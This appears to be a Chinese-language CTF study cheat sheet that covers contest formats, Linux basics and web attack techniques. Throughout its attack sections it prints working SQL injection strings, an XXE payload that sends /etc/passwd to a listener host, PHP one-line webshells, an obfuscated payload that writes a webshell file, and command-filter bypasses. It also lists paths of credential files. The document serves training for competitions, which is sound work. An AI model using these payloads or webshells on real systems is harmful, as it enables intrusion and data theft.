关于CTF的点点滴滴

常见CTF知识点的总结

0x01 CTF简介

概述

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯”。

CTF 为团队赛,通常以三人为限,要想在比赛中取得胜利,就要求团队中每个人在各种类别的题目中至少精通一类,三人优势互补,取得团队的胜利。同时,准备和参与 CTF 比赛是一种有效将计算机科学的离散面、聚焦于计算机安全领域的方法。

赛事介绍

CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。
CTF竞赛模式具体分为以下三类:

  1. 解题模式(Jeopardy) 在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。

  2. 攻防模式(Attack-Defense) 在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作。

  3. 混合模式(Mix) 结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。

题目类别

  • Reverse

    题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译功底。主要考查参赛选手的逆向分析能力。

    所需知识:汇编语言、加密与解密、常见反编译工具

  • Pwn

    Pwn 在黑客俚语中代表着攻破,获取权限,在 CTF 比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能力。

    所需知识:C,OD+IDA,数据结构,操作系统

  • Web

    Web 是 CTF 的主要题型,题目涉及到许多常见的 Web 漏洞,如 XSS、文件包含、代码执行、上传漏洞、SQL 注入等。也有一些简单的关于网络基础知识的考察,如返回包、TCP/IP、数据包内容和构造。可以说题目环境比较接近真实环境。

    所需知识:PHP、Python、TCP/IP、SQL、JAVA

  • Crypto

    题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术,以及一些常见编码解码,主要考查参赛选手密码学相关知识点。通常也会和其他题目相结合。

    所需知识:矩阵、数论、密码学

  • Misc

    Misc 即安全杂项,题目涉及隐写术、流量分析、电子取证、人肉搜索、数据分析、大数据统计等,覆盖面比较广,主要考查参赛选手的各种基础综合知识。

    所需知识:常见隐写术工具、Wireshark 等流量审查工具、编码知识

  • Mobile

    主要分为 Android 和 iOS 两个平台,以 Android 逆向为主,破解 APK 并提交正确答案。

    所需知识:Java,Android 开发,常见工具

AWD线下赛

Attack With Defence,简而言之就是你既是一个 hacker,又是一个 manager。
比赛形式:一般就是一个 ssh 对应一个服务,可能是 web 也可能是 pwn,然后flag 五分钟一轮,各队一般都有自己的初始分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check,check 不过就扣分,扣除的分值由服务 check 正常的队伍均分。

Web 题目类型

  • 出题人自己写的 CMS 或者魔改后的 CMS(注意最新漏洞、1day 漏洞等)
  • 常见(比如 Wordpress 博客啊、 Discuz! 论坛啊)或者不常见 CMS 等
  • 框架型漏洞(CI等)
  • 如何在 CTF 中当搅屎棍
  • AWD 模式生存技巧
  • 能力:漏洞反应能力、快速编写脚本、web代码审计
  • 心态放好,因为 web 比较容易抓取流量,所以即使我们被打,我们也可以及时
    通过分析流量去查看别的队伍的 payload,从而进行反打。
  • 脚本准备:一句话,文件包含,不死马、禁止文件上传等
  • 警惕 web 弱口令,用最快的速度去补。

Bin 题目类型

大部分是 PWN,题目类型包括栈、堆、格式化字符串等等。

  • 能力:

    迅速找到二进制文件的漏洞,迅速打 patch 的能力

    全场打 pwn 的 exp 脚本编写

    熟悉服务器运维

    尽快摸清楚比赛的 check 机制

    如果二进制分析遇到障碍难以进行,那就去帮帮 web 选手运维看看现场环境是否可以提权,这样可以方便我们搞操作(如魔改 libc 等等)

  • 技巧

    如果自己拿到 FB, 先用 NPC 服务器或者自己服务器测试,格外小心自己的

    payload 不要被别的队伍抓取到, 写打全场的 exp 时,一定要加入混淆流量。

    提前准备好 PHP 一句话木马等等脚本。

    小心其他队伍恶意攻击使我们队伍机器的服务不能正常运行,因此一定要备份服务器的配置。

    尽可能在不搞崩服务和绕过 check 的情况下,上 WAF,注意分析别人打过来的流量,如果没有混淆,可以大大加快我们的漏洞分析速度。

    工具准备: 中国菜刀、 Nmap、Xshell、 合适的扫描器等。

    心态不要崩。

    不要忽视 Github 等平台,可能会有写好的 exp 可以用。

    将 flag 的提交自动化。

0x02 Linux 基础

系统目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/bin 、 /sbin :链接到 /usr/bin ,存放 Linux 一些核心的二进制文件,其包含的命令可在 shell 上运行。
/boot :操作系统启动时要用到的程序。
/dev :包含了所有 Linux 系统中使用的外部设备。需要注意的是这里并不是存放外部设备的驱动程序,而是一个访问这些设备的端口。
/etc :存放系统管理时要用到的各种配置文件和子目录。
/etc/rc.d :存放 Linux 启动和关闭时要用到的脚本。
/home :普通用户的主目录。
/lib 、 /lib64 :链接到 /usr/lib ,存放系统及软件需要的动态链接共享库。
/mnt :这个目录让用户可以临时挂载其他的文件系统。
/proc :虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息。
/root :系统管理员的主目录。
/srv :存放一些服务启动之后需要提取的数据。
/sys :该目录下安装了一个文件系统 sysfs。该文件系统是内核设备树的一个直观反映。当一个内核对象被创建时,对应的文件和目录也在内核对象子系统中被创建。
/tmp :公用的临时文件存放目录。
/usr :应用程序和文件几乎都在这个目录下。
/usr/src :内核源代码的存放目录。
/var :存放了很多服务的日志信息。

权限设置

在 Linux 中,文件或目录权限的控制分别以读取、写入、执行 3 种一般权限来区分,另有 3 种特殊权限可供运用。
使用 ls -l [file] 来查看某文件或目录的信息:

1
2
3
4
$ ls -l /
lrwxrwxrwx 1 root root 7 Jun 21 22:44 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Jul 28 08:48 boot
-rw-r--r-- 1 root root 18561 Apr 2 22:48 desktopfs-pkgs.txt

第一栏从第二个字母开始就是权限字符串,权限表示三个为一组,依次是所有者权限、组权限、其他人权限。每组的顺序均为 rwx ,如果有相应权限,则表示成相应字母,如果不具有相应权限,则用 - 表示。

  • r :读取权限,数字代号为 “4”
  • w :写入权限,数字代号为 “2”
  • x :执行或切换权限,数字代号为 “1”

通过第一栏的第一个字母可知,第一行是一个链接文件 ( l ),第二行是个目录( d ),第三行是个普通文件( - )。
用户可以使用 chmod 指令去变更文件与目录的权限。权限范围被指定为所有者( u )、所属组( g )、其他人( o )和所有人( a )。

  • -R:递归处理,将指令目录下的所有文件及子目录一并处理;

  • <权限范围>+<权限设置>:开启权限范围的文件或目录的该选项权限设置

    $ chmod a+r [file] :赋予所有用户读取权限

  • <权限范围>-<权限设置>:关闭权限范围的文件或目录的该选项权限设置

    $ chmod u-w [file] :取消所有者写入权限

  • <权限范围>=<权限设置>:指定权限范围的文件或目录的该选项权限设置;

    $ chmod g=x [file] :指定组权限为可执行

    $ chmod o=rwx [file] :制定其他人权限为可读、可写和可执行

环境变量

分类

  • 按照生命周期划分

    永久环境变量:修改相关配置文件,永久生效。

    临时环境变量:使用 export 命令,在当前终端下生效,关闭终端后失效。

  • 按照作用域划分

    系统环境变量:对该系统中所有用户生效。

    用户环境变量:对特定用户生效。

设置方法

  • 在文件 /etc/profile 中添加变量,这种方法对所有用户永久生效。如:

    1
    2
    3
    # Set our default path
    PATH="/usr/local/sbin:/usr/local/bin:/usr/bin"
    export PATH

    添加后执行命令 source /etc/profile 使其生效。

  • 在文件 ~/.bash_profile 中添加变量,这种方法对当前用户永久生效。其余同上。

  • 直接运行命令 export 定义变量,这种方法只对当前终端临时生效。

常用变量

使用命令 echo 打印变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin
:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
$ echo $HOME
/home/firmy
$ echo $LOGNAME
firmy
$ echo $HOSTNAME
firmy-pc
$ echo $SHELL
/bin/bash
$ echo $LANG
en_US.UTF-8

使用命令 env 可以打印出所有环境变量:

1
$ env

使用命令 set 可以打印处所有本地定义的 shell 变量:

1
$ set

使用命令 unset 可以清楚环境变量:

1
$ unset $变量名

proc路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/proc/[pid]
proc 文件系统是 Linux 内核提供的,为访问系统内核数据的操作提供接口。在该文件系统下,有一些以数字命名的目录,这些数字是进程的 PID 号,而这些目录是进程目录。

/proc/[pid]/maps
这个文件大概是最常用的,用于显示进程的内存区域映射信息:

/proc/[pid]/stack
这个文件表示当前进程的内核调用栈信息

/proc/[pid]/auxv
该文件包含了传递给进程的解释器信息,即 auxv(AUXiliary Vector),每一项都是由一个 unsigned long 长度的 ID 加上一个 unsigned
每个值具体是做什么的,可以用下面的办法显示出来,

/proc/[pid]/environ
该文件包含了进程的环境变量

/proc/[pid]/fd
该文件包含了进程打开文件的情况

/proc/[pid]/status
该文件包含了进程的状态信息

/proc/[pid]/syscall
该文件包含了进程正在执行的系统调用
第一个值是系统调用号,后面跟着是六个参数,最后两个值分别是堆栈指针和指令计数器的值。

0x03 注入

基本原理

用一个不严谨的说法来形容注入攻击,就是,本应该处理用户输入字符的代码,将用户输入当作了代码来执行,常见于解释型语言。主要有以下几种形式:

类别 说明
SQL注入 最常见的注入形式,通过恶意拼接数据库语句,来实现非预期的功能
XML外部实体注入 XML文档外部实体注入,实现任意文件读取或者是命令执行
系统命令注入 通过拼接来执行非预期的操作系统指令
表达式语言注入 Java 中常见的命令注入执行方式
服务端模板注入 使用模板引擎的语言常见的注入形式(PHP smart模板注入、 Python SSTI模板注入)

SQL注入

常见函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
version() MySQL 版本
user() 数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
hex() 把十进制转为十六进制
concat() 连接字符串
group_concat() 连接一个组的所有字符串 以逗号分隔每一条数据
ascii() ascii编码
ord() 获取字符的ascii值
length() 获取长度
substring() substr() mid() 取出字符串
updatexml()、extractvalue() 用于报错注入
sleep() 休眠
left(str, int) 从左往右截取字符串
right(str, int) 从右王左截取字符串
elt(n,str1,str2,str3) 该函数的作用是,返回参数中的第n个字符串,参数可以是字符串常量或者列名。
rand() 该函数用于产生一个随机数,可以接受一个参数作为种子,也可以直接使用。
floor() 该函数用于将一个浮点数向下取整得到整数,可以与rand函数配合使用。在特定情况下,rand、floor、count(*)配合group by可以进行报错注入。
exp() 这是一个数学函数,可以求e的多少次幂,当参数过大时会因为溢出2而报错。使用该函数时,通常将查询结果取反以便得到一个非常大的数。

报错语句

1
2
3
4
5
6
7
8
9
10
11
12

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
select * from test where id=1 and exp(~(select * from(select user())a));
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

注入语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# union select
1' union select schema_name from information_schema.schemata;
1' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
1' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
1' union select flag from table1%23

# order by盲注
order by rand(database()='pdotest')

# 布尔盲注
and length(database())>7--+
and ascii(substr(database(),1,1))>114--+
and (select count(table_name) from information_schema.tables where table_schema='security') >3--+
and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 100--+
and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails') > 1--+
and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))> 104--+
and (select count(id) from emails) > 7--+
and length((select id from emails limit 0,1))>0--+
and ascii(substr((select id from emails limit 0,1),1,1)) >48--+

# 时间盲注
1'/**/and/**/case/**/when/**/ascii(substr((SELECT/**/value/**/from/**/key1)from/**/1/**/FOR/**/1))>1/**/then/**/sleep(3)/**/else/**/1/**/end#
1'/**/and/**/if(ascii(substr((SELECT/**/value/**/from/**/key1)from/**/1/**/FOR/**/1))>1,sleep(3),1)#


# 文件操作
union select 1,load_file('c:\\boot.ini'),3,4
union select 1,load_file(0x633A5C626F6F742E696E69),3,4

XML外部实体注入(XXE)

通用实体

通常用在有回显xxe注入中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name "this is internal entity">
]>
<user><username>&name;</username><password>1</password></user>


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "filter/read=convert.base64-encode/resource=index.php">]>
<root>
<name>&xxe;</name>
</root>

参数实体

通常在无回显的情况下使用

1
2
3
4
5
6
7
8
9
10
11
12
13
# 新建外部实体 test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/read=/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.5.144:8888?p=%file;'>">

# 构造攻击 payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.5.144/test3.dtd">
%remote;%int;%send;
]>

# 设置对应的端口监听
nc -lvvp 8888

命令执行

0x04 文件上传

0x05 代码审计

常见PHP特性

常见PHP函数

代码执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# eval
mixed eval(string $code)
把字符串$code作为php代码执行
菜刀马webshell都是用eval来执行具体操作的。
<?php @eval($_GET['canshu']);?>

# assert
bool assert ( mixed $assertion [, string $description ] )
检查一个断言是否为 FALSE。(把字符串 $assertion 作为PHP代码执行)
因为大多数杀软把eval列入黑名单了,所以用 assert 来替代eval 来执行具体操作的。
E.g:
<?php $_GET[a]($_GET[b]);?>
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

# preg_replace
mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int $limit = -1 [, int &$count]])
preg_replace("/test/e",$_GET["h"],"just test");
如果我们提交?h=phpinfo(),
上页面就会执行phpinfo
关键点在/e为修饰符

# call_user_func()
传入的参数作为assert函数的参数
命令执行:cmd=system(whoami)
菜刀连接密码:cmd
<?php call_user_func("assert",$_POST['cmd']); ?>

# create_function()
创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>

# array_map()
array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
命令执行http://localhost/123.php?func=system cmd=whoami
菜刀连接http://localhost/123.php?func=assert 密码:cmd
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>

# call_user_func_array()
将传入的参数作为数组的第一个值传递给assert函数
cmd=system(whoami)
菜刀连接密码:cmd
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

# array_filter()
用回调函数过滤数组中的元素:array_filter(数组,函数)
命令执行func=system&cmd=whoami
菜刀连接http://localhost/123.php?func=assert 密码cmd
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

# uasort()
php环境>=<5.6才能用
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
<?php
usort($_GET,'asse'.'rt');
?>

文件包含函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 4.2.1 include()
调用方式:include(“/path/to/filename”)
说明: include()语句将在它被调用的地方包含参数所指定的文件,其效果和将某个文件的内容复制在include()出现的地方一样。使用include()时,括号可以忽略,如:include “/path/to/filename”。

# include_once()
调用方式:include_once(“filename”)
说明:顾名思义,只包含一次该文件。即,如果上下文中已经包含过了该文件,那么就不再包含。

# require()
调用方式:require(“filename”)
说明:除了以下两点之外,功能跟include()一样:
(1)无论require()出现在程序片段的什么位置,它都能将文件包含进来。
(2)require()出错时(如所require的文件不存在错误),php脚本程序将停止执行,但include()不会出现这种情况。

# require_once()
调用方式:require_once(“filename”)
说明:除了只包含一次某文件之外,其它功能和require()一样。

命令执行函数

1
2
3
4
5
6
exec() — 执行一个外部程序
passthru() — 执行外部程序并且显示原始输出
proc_open() — 执行一个命令,并且打开用来输入/输出的文件指针。
shell_exec() & `` — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system() — 执行外部程序,并且显示输出
popen() — 通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

文件操作函数

1
2
3
4
5
6
7
8
9
10
copy — 拷贝文件
file_get_contents — 将整个文件读入一个字符串
file_put_contents — 将一个字符串写入文件
file — 把整个文件读入一个数组中
fopen — 打开文件或者 URL
move_uploaded_file — 将上传的文件移动到新位置
readfile — 输出文件
rename — 重命名一个文件或目录
rmdir — 删除目录
unlink & delete — 删除文件

0x06 反序列化

信息收集

常见的信息收集手段

web扫描器:御剑、awvs 收集站点目录,获取重要站点信息文件。如后台、爬虫文件。

nmap扫描:站点服务器端口、服务开放情况、所用中间件的版本详情

做题技巧

源码分析,查看源码是否有什么可疑的注释信息。

扫描器收集信息。

访问可以文件或者页面。

CMS站点

常见cms存在的一些文件,安装完成后为及时删除,造成站点被篡改。

如:install/install.php  data/install.lock

弱口令爆破

常见的:admin、admin123、admin123456、1q2w3e4r。。。

使用butpsuite抓包爆破。intruder

sql注入

sql注入的产生原因:

由于服务器接收用户数据并且拼接了用户的可疑sql代码。并且没有进行严格的过滤,将sql语句带入查询。

了解其中的危害性:

数据库信息泄露,用户重要的饮食数据。

网页篡改

网站被挂马

数据库被恶意操作

服务器被远程控制

常见的注入类型:

寻找注入点:动态页面与数据库交互。

方法:单引号法,判断是否有错误返回and 1=1 和 and 1=2	

基于时间类型的盲注:测试方法,查看页面返回延时

做题:首先基本的判断注入,执行注入语句,进行注入操作,可以手注,可自动化注入

POST型注入

sqlmap跑出注入点时,爆库、表、字段、内容的步骤

python sqlmap.py -u "http://172.16.5.107/stage/5/get_info.php?title=xiaoshiniudao&id=1"

爆库: --dbs

爆表: -D databasename --tables

爆字段: -D databasename -T tablename --columns

爆字段的内容: -D databasename -T tablename -C “——,——” --dump

union联合查询猜解库,表,名,字段

1 union select table_name from information_schema.schemata 库

1 union select table_name from information_schema.tables where table_schema=’xxxxx’ 库中的表

1 union select column_name from information_schema.columns where table_schema=’xxxxx’ and table_name=’xxxx’

1 union select xxxx from xxxx

常见查询函数

version() MySQL 版本

user() 数据库用户名

database() 数据库名

@@datadir 数据库路径

@@version_compile_os 操作系统版本

hex() 把十进制转为十六进制

concat() 连接字符串

ascii() ascii编码

length() 获取长度

substring() mid() 取出字符串

group_concat() 连接一个组的所有字符串 以逗号分隔每一条数据

updatexml()、extractvalue() 用于报错注入

sleep() 休眠

1
2
3
4
时间盲注语句
?id=1%a0and%a0sleep(5)#'
if(length(database())>5,1,sleep(10))
?id=1%a0and%a0if(length(database())>1,1,sleep(10))#'

xss 跨站脚本攻击(cross-site scripting)

出现于web应用程序的安全漏洞。对用户输入过滤不足。插入恶意脚本。

危害

cookie劫持、会话劫持、钓鱼欺骗

攻击条件

a) 需要向web页面注入恶意代码

b)这些恶意代码能够被浏览器成功执行

分类

反射型:也称非持久型、参数型跨站脚本

    恶意代码没有保存在目标站点,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击。

存储型:

    XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻		击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网		站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系		统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,		当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而		管理员毫不知情,这就是典型的XSS存储型攻击。

DOM型:

文件包含

原理

代码通过php函数来包含其他php的代码文件,并且当成php代码来执行,使得代码重复利用,降低开发的开发成本。

常见文件包含函数

include()、include_once()、require()、require_once()

漏洞产生原因

文件包含函数加载的参数没有经过严格过滤活或者严格定义,可以被用户控制包含其他恶意文件,导致执行了非预期的代码。

本地文件包含漏洞

a)无限制本地文件包含

b) 常见的敏感信息路径

windows:

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux:

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/var/log/

c)session文件包含

d) 有限制本地文件包含漏洞绕过

    %00截断

    条件:magic_quotes_gpc = Off php版本<5.3.4

远程文件包含

支持的协议和封装协议 //官方文档

任意文件上传

前端js上传检测绕过

判断方法:使用bp抓包,直接上传后缀为php的文件,发现bp没有抓到包,但是已经弹窗显示上传文件格式不允许。

绕过方法:

    1)上传合法后缀的文件。使用bp截包改后缀名。即可绕过。

    2)审查元素,修改js验证代码的

    3)删除对js验证脚本的调用

服务器端MIME类型检测绕过

检测原理:当用户上传文件至服务端时,服务端程序会获取上传文件的MIME类型

绕过方法:MIME类型在HTTP请求字段里的Content-type字段,修改该字段的值即可绕过	

黑名单绕过

检测原理:服务器端根据一份后缀名的名单来判断是否允许当前文件上传到服务器,若在名单中,就禁止该文件上传

绕过方法:

    1)文件名大小写绕过。(pHP Asp)

    2)名单列表绕过

    3)特殊文件名绕过。 windows可以自动修改。 但是linux|unix没有这个特性 1.jpg 1.jpg.  1.jpg.abc

    4)0x00截断绕过

    5).htaccess文件攻击

    6)解析调用/漏洞绕过

白名单绕过

服务端文件内容绕过

web应用程序解析绕过

    1)apache解析漏洞

    解析:test.php.(任意不属于黑名单且也不属于Apache解析白名单的名称),比如test.php.lala

    描述:一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。

    2)ISS解析漏洞

    解析:test.asp/(任意文件名)|test.asp;(任意文件名) | (任意文件名)/(任意文件名).php

    描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析;IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

    3)nginx解析漏洞\****

    解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php

    描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。 

命令执行

常见shell拼接符(&、&&、|、||)

A&B: 顺序执行多条命令,而不管命令是否执行成功

A&&B: 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令

A|B: 管道命令,如:dir . /s/a | find /c ".exe" 表示:先执行 dir 命令,对其输出的结果执行后面的 find 命令

A||B: 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

常见绕过方式

空格绕过

1
2
3
4
5
6
7
8
9
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09

绕过关键字

1
2
3
4
5
6
7
8
9
10
11
12
wh\o\ami    //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi

任意字符插入执行(可绕过命令和文件名)

1
2
3
cat /f`who`la`ks`g	反斜杠之间的字符会作为命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接

只可绕过文件名

1
2
3
4
cat fl[abc]g.php                                 //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行

文件名绕过

1
2
3
4
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd

命令执行函数绕过

1
2
3
4
5
6
7
8
9
10
11
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
作者

丨greetdawn丨

发布于

2018-05-03

更新于

2023-05-06

许可协议

评论